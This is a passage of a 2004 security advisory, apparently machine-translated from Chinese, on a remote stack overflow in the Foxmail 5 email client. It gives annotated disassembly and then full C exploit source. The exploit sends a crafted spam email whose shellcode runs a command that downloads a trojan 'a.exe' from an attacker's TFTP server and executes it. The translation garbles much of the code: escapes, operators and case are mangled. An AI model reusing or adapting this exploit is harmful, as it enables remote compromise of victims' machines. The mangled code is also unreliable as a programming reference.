Foxmail 5 Remote Buffer Overflow Vulnerability
Created: 2004-03-22 Updated: 2004-03-22
Article attribute: original
Article submission:
Root (webmaster_at_xfocus.org)
Security focus
http://www.xfocus.net>
Note: This article is proposed in February 2004 XFOCUS members in internal technical exchanges. Before this, Qi Mingxing technicians have discovered this vulnerability, but unapproved details, Xfocus members have heard that after this vulnerability is analyzed, Foxmail analysis, And write the utilization code. On March 18, 2004, Queen Star announced a vulnerability and issued a related patch.
Test environment: Win2K SP4 Foxmail 5.0.300
I have found over overflow vulnerabilities when I have tested Foxmail 4.x, but I have never been put down, and I have heard that Foxmail5 has overflow, but I have never seen it. So when I was fine, I simply studied it myself. After testing, I found that the previous overflow vulnerability has been added, but there is a new loophole.
The problem is in the URLTolocal function in the punylib.dll, which is estimated to handle the link library for processing spam. When an email is determined as spam, it will call URLTOLOCAL to process the "from:" field of the mail body. Stack overflows occur during processing, which can cause arbitrary code.
The specific processing process is as follows:
.Text: 10002040 Public Urltolocal
.Text: 10002040 URLTOLOCAL Proc Near
.Text: 10002040
.Text: 10002040 Arg_0 = DWORD PTR 4
.TEXT: 10002040 Arg_4 = DWORD PTR 8
.Text: 10002040
.Text: 10002040 MOV EAX, DWORD_1000804C
.Text: 10002045 MOV ECX, DWORD_10008030
.Text: 1000204B MOV EDX, [ESP ARG_4]
.Text: 1000204F Push Offset AHTTP; "
http: // "
.text: 10002054 Push EAX
.Text: 10002055 MOV EAX, [ESP 8 Arg_0]
.Text: 10002059 Push Offset unk_10008034
.Text: 1000205E Push ECX
.Text: 1000205F Push EDX
.Text: 10002060 Push EAX
.Text: 10002061 Call Sub_10002070; Call 10002070, where the parameter is saved is the "from:" field behind the "from:" field.
.Text: 10002070 SUB_10002070 Proc Near; Code Xref: Urltolocal 21P
.Text: 10002070; Emailadrtolocal 107p.Text: 10002070
.TEXT: 10002070 VAR_600 = DWORD PTR-600H
.TEXT: 10002070 VAR_500 = DWORD PTR-500H
.TEXT: 10002070 VAR_400 = DWORD PTR-400H
.text: 10002070 Var_300 = DWORD PTR-300H
.TEXT: 10002070 VAR_200 = DWORD PTR-200H
.TEXT: 10002070 Var_100 = DWORD PTR-100H
.Text: 10002070 arg_0 = dword PTR 4
.TEXT: 10002070 Arg_4 = DWORD PTR 8
.text: 10002070 arg_8 = dword PTR 0CH
.text: 10002070 arg_c = dword PTR 10h
.TEXT: 10002070 Arg_10 = DWORD PTR 14H
.text: 10002070 arg_14 = DWORD PTR 18H
.Text: 10002070
.Text: 10002070 MOV EDX, [ESP ARG_0]
.text: 10002074 SUB ESP, 600H
......
.Text: 100020DF Push EAX
.Text: 100020E0 Push ECX
.Text: 100020E1 Push EBX
.Text: 100020E2 Call Sub_10001a30; call 10001a30, this is overflowed in this function
.Text: 10001A30 SUB_10001A30 Proc Near; Code Xref: SUB_10002070 72P
.Text: 10001A30; SUB_10002290 95P
.Text: 10001A30
.TEXT: 10001A30 VAR_104 = DWORD PTR-104H
.TEXT: 10001A30 VAR_100 = DWORD PTR-100H
.TEXT: 10001A30 arg_0 = DWORD PTR 4
.TEXT: 10001A30 ARG_4 = DWORD PTR 8
.TEXT: 10001A30 ARG_8 = DWORD PTR 0CH
.text: 10001A30 arg_c = dword PTR 10h
.text: 10001A30 arg_10 = DWORD PTR 14H
.TEXT: 10001A30 ARG_14 = DWORD PTR 18H
.Text: 10001A30
.Text: 10001A30 SUB ESP, 104H; Assign 0x104 byte size stack, but copy "from:" field up to 0x200.Text: 10001A36 PUSH EBX
.Text: 10001A37 MOV EBX, [ESP 108H Arg_0]
.Text: 10001A3E Push EBP
.Text: 10001A3F MOV EBP, [ESP 10CH ARG_10]
.Text: 10001A46 Push ESI
.Text: 10001A47 XOR ESI, ESI
......
.Text: 10001AA9 SUB EDI, ECX
.Text: 10001AAB MOV EAX, ECX
.Text: 10001AAD MOV ESI, EDI
.Text: 10001AAF MOV EDI, EDX
.TEXT: 10001AB1 SHR ECX, 2
.Text: 10001Ab4 rep Movsd; Overflow when the memory copy is performed, copy it to the buffer of 0x104 according to "from:" field size
.Text: 10001AB6 MOV ECX, EAX
.Text: 10001AB8 and ECX, 3
.Text: 10001Abb Rep Movsb
......
.text: 10001ae7 MOV EDI, [ESP 114H Arg_c]
.Text: 10001AEE SHR ECX, 2
.text: 10001af1 rep Movsd; there are several places to operate local variables, because these variables are covered, so they need to cover them to write, I can override 0x7ffdf220 this address, it should be PEB The area, so you must restore this area in the back shellcode to 0
.Text: 10001AF3 MOV ECX, EAX
.Text: 10001AF5 and ECX, 3
.Text: 10001AF8 Rep Movsb
......
.Text: 10001BD7 POP EDI
.Text: 10001BD8 POP ESI
.Text: 10001BD9 POP EBP
.Text: 10001BDA POP EBX
.Text: 10001BDB Add ESP, 104H
.Text: 10001Be1 Retn; return to our JMP ESP address when it returns
This overflow cannot cover SEH, and the string cannot contain "@, (, (,,, / r, / n" these messy characters. SHELLCODE is using the EY4S written by URLMON to download and run the EXE file.
Some Mail servers will cut the shellcode, so I changed it again, running TFTP directly with a relatively short shellcode to download the program and run, tested the success rate is improved, but it is easy to be blocked by the firewall. / * fmx.c - x86 / win32 Foxmail 5.0 punylib.dll Remote Stack Buffer overflow Exploit
*
* (C) Copyright Xfocus Security Team, 2004
* All Rights Reserved
* ------------------------------------------------- ----------------------
* Author: xfocus
*:
http://www.xfocus.org
* Maintain: Xfocus security team
* Version: 0.2
*
* TEST: Windows 2000 Server GB / XP Professional
* Foxmail 5.0.300.0
* Notes: unpublished Vul.
* Greets: All member of Xfocus Security Team.
* Complie: CL FMX.c
* Usage: fmx
* Mail_addr: Email Address We Wantto Hack
* TFTP_SERVER: Run A TFTP Server and Have A a.exe Trojan
* SMTP_SERVER: SMTP Server Don't Need Login, We send The Email thru IT
*
* Date: 2004-02-27
* Revised: 2004-03-05
*
* Revise History:
* 2003-03-05 Call Winexec () Addr of Foxmail.exe Module To Run TFTP for Down & Execute
* /
#include
#include
#include
#pragma comment (Lib, "WS2_32")
// Mail Body, It's based on a real spam email, heh
unsigned char packet [] =
"From:% s / r / n" // buffer to overrun
"Subject: Hi, MAN / R / N"
"MIME-VERSION: 1.0 / r / n"
"Content-Type: Multipart / Mixed; Boundary = /" 87122827 / "/ r / n"
"/ r / n"
"/ r / n"
"--87122827 / R / N"
"Content-Type: Text / Plain; Charset = US-ASCII / R / N"
"Content-Transfer-Encoding: 7bit / R / N"
"/ r / n" "t / r / n"
"/ r / n"
"--87122827 / R / N"
"Content-Disposition: attachment / r / n"
"Content-Type: Text / HTML; / R / N"
"Name = /" girl.htm / "/ r / n"
"Content-Transfer-Encoding: 7bit / R / N"
"/ r / n"
" html> / r / n"
"--87122827 - / r / n"
"/ r / n"
"./n";
// tiny shellcode to run winexec () Address in foxmail.exe module (Foxmail 5.0.300)
Unsigned char Winexec [] =
"/ x83 / XEC / XB9 / XEB / X0C / XD3 / X5D / XC1 / XE9 / X08 / XFF / X11 / XEB / X08 / X33 / XDB / X53 / XE8 / XEC / XFF / XFF / XFF ";
// tiny shellcode to run winexec () Address in foxmail.exe module (Foxmail 5.0.210 beta2)
Unsigned char Winexec2 [] =
"/ x83 / XEC / X50 / XEB / X0C / XB9 / X41 / X10 / XA3 / X5D / XC1 / XE9 / X08 / XFF / X11 / XEB / X08 / X33 / XDB / X53 / XE8 / XEC / XFF / XFF / XFF ";
#define SMTPPORT 25
INT Make_Connection (Char * Address, Int port, int Timeout);
Int Sendxmail (Char * Mailaddr, Char * TFTP, Char * SMTPSERVER, CHAR * shellcode);
Int main (int Argc, char * argv [])
{
Wsadata wsadata;
Char * mailaddr = null;
Char * TFTP = NULL;
Char * SMTPSERVER = NULL;
IF (argc! = 4)
{
Printf ("Usage:% s
Return 1;
}
Mailaddr = argv [1];
TFTP = Argv [2];
SMTPSERVER = Argv [3];
IF (WsaStartup (MakeWord (1, 1), & WSADATA)! = 0)
{
Printf ("WSAStartup Failed./N);
WSACLEANUP ();
Exit (1);
}
// Winexec () Address
Sendxmail (Mailaddr, TFTP, SMTPServer, Winexec); // Winexec () Address in Foxmail.exe Module (Foxmail 5.0.300)
Sendxmail (Mailaddr, TFTP, SMTPSERVER, WINEXEC2); // Winexec () Address in Foxmail.exe Module (Foxmail 5.0.210 Beta2) wsacleanup ();
Return 0;
}
// Establish a TCP connection
// Enter:
// char * Address IP address
// int port port
// int Timeout delay
// Output:
// Return:
// Success> 0
// error <= 0
INT Make_Connection (Char * Address, Int port, int Timeout)
{
Struct SockAddr_in Target;
Socket S;
INT I;
DWORD BF;
FD_SET WD;
Struct TimeVal TV;
S = Socket (AF_INET, SOCK_STREAM, 0);
IF (s <0)
Return -1;
Target.sin_family = AF_INET;
Target.sin_addr.s_addr = inet_addr (address);
IF (target.sin_addr.s_addr == 0)
{
CloseSocket (s);
Return -2;
}
Target.sin_port = htons (port);
BF = 1;
IOCTLSocket (S, Fionbio, & bF);
TV.TV_SEC = Timeout;
TV.TV_USEC = 0;
FD_ZERO (& WD);
FD_SET (S, & WD);
Connect (S, Struct SockAddr *) & Target, Sizeof (Target);
IF ((i = SELECT (S 1, 0, & WD, 0, & TV)) == (- 1))
{
CloseSocket (s);
Return -3;
}
IF (i == 0)
{
CloseSocket (s);
Return-4;
}
i = sizeof (int);
GetSockopt (S, SOL_Socket, SO_ERROR, (CHAR *) & bf, & i);
IF ((bf! = 0) || (i! = sizeof (int))))))
{
CloseSocket (s);
Return -5;
}
IOCTLSocket (S, Fionbio, & bf);
Return S;
}
// send Magic Mail
Int Sendxmail (Char * Mailaddr, Char * TFTP, Char * SMTPSERVER, CHAR * shellcode)
{
Socket csock;
Int Ret, I = 0;
Char BUF [510], SBUF [0x10000], TMP [500], TMP1 [500];
Csock = make_connection (SMTPSERVER, SMTPPORT, 10);
IF (CSOCK <0)
{
Printf ("Connect Err./N");
Exit (1);
}
MEMSET (BUF, 0, SIZEOF (BUF));
RET = Recv (CSOCK, BUF, 4096, 0);
IF (RET <= 0)
{
Printf ("Recv Err./N");
Exit (1);
}
Printf (BUF);
RET = Send (Csock, "Helo Server / R / N", Strlen ("Helo Server / R / N"), 0); if (RET <= 0)
{
Printf ("Send Err./N");
Exit (1);
}
MEMSET (BUF, 0, SIZEOF (BUF));
RET = Recv (CSOCK, BUF, 4096, 0);
IF (RET <= 0)
{
Printf ("Recv Err./N");
Exit (1);
}
Printf (BUF);
RET = Send (Csock, "Mail from: info@sina.com/r/N", Strlen ("Mail from: info@sina.com/r/N"), 0);
IF (RET <= 0)
{
Printf ("Send Err./N");
Exit (1);
}
MEMSET (BUF, 0, SIZEOF (BUF));
RET = Recv (CSOCK, BUF, 4096, 0);
IF (RET <= 0)
{
Printf ("Recv Err./N");
Exit (1);
}
Printf (BUF);
Sprintf (TMP, "RCPT to:% S / R / N", MAILADDR);
RET = Send (Csock, TMP, Strlen (TMP), 0);
IF (RET <= 0)
{
Printf ("Send Err./N");
Exit (1);
}
MEMSET (BUF, 0, SIZEOF (BUF));
RET = Recv (CSOCK, BUF, 4096, 0);
IF (RET <= 0)
{
Printf ("Recv Err./N");
Exit (1);
}
Printf (BUF);
Sleep (1000);
RET = Send (Csock, "DATA / R / N", Strlen ("DATA / R / N"), 0);
IF (RET <= 0)
{
Printf ("Send Err./N");
Exit (1);
}
MEMSET (BUF, 0, SIZEOF (BUF));
RET = Recv (CSOCK, BUF, 4096, 0);
IF (RET <= 0)
{
Printf ("Recv Err./N");
Exit (1);
}
Printf (BUF);
Printf ("Send Exploit Mail ... / N");
MEMSET (SBUF, 0, SIZEOF (SBUF));
MEMSET (BUF, 0, SIZEOF (BUF));
MEMSET (BUF, 0x41, SIZEOF (BUF) -1);
MEMSET (TMP, 0, SIZEOF (TMP));
// STRCPY (TMP, WINEXEC); // Winexec () Address in FoxMail.exe Module (Foxmail 5.0.300)
STRCPY (TMP, Shellcode); // Winexec () Address in Foxmail.exe Module
STRCAT (TMP, "CMD / C TFTP -I% s Get a.exe & a.exe:");
Sprintf (TMP1, TMP, TFTP);
Memcpy (buf 0x100-Strlen (TMP1), TMP1, STRLEN (TMP1));
* (int *) (BUF 0x100) = 0x7ffa54cd; // RET Addr JMP ESP * (INT *) (BUF 0x104) = 0x80eb80eb; // JMP Back
* (int *) (BUF 0x108) = 0x7ffdf220; // Writeable Addr
* (int *) (BUF 0x110) = 0x7ffdf220; // Writeable ADDR
Memcpy (BUF, "Girl / X0D", 5);
Sprintf (SBUF, (Char *) Packet, BUF);
RET = Send (CSOCK, SBUF, Strlen (SBUF), 0);
IF (RET <= 0)
{
Printf ("Send Err./N");
Exit (1);
}
MEMSET (BUF, 0, SIZEOF (BUF));
RET = Recv (CSOCK, BUF, 4096, 0);
IF (RET <= 0)
{
Printf ("Recv Err./N");
Exit (1);
}
Printf (BUF);
Printf ("Exploit Mail Sent./N);
CloseSocket (CSOCK);
Return 0;
}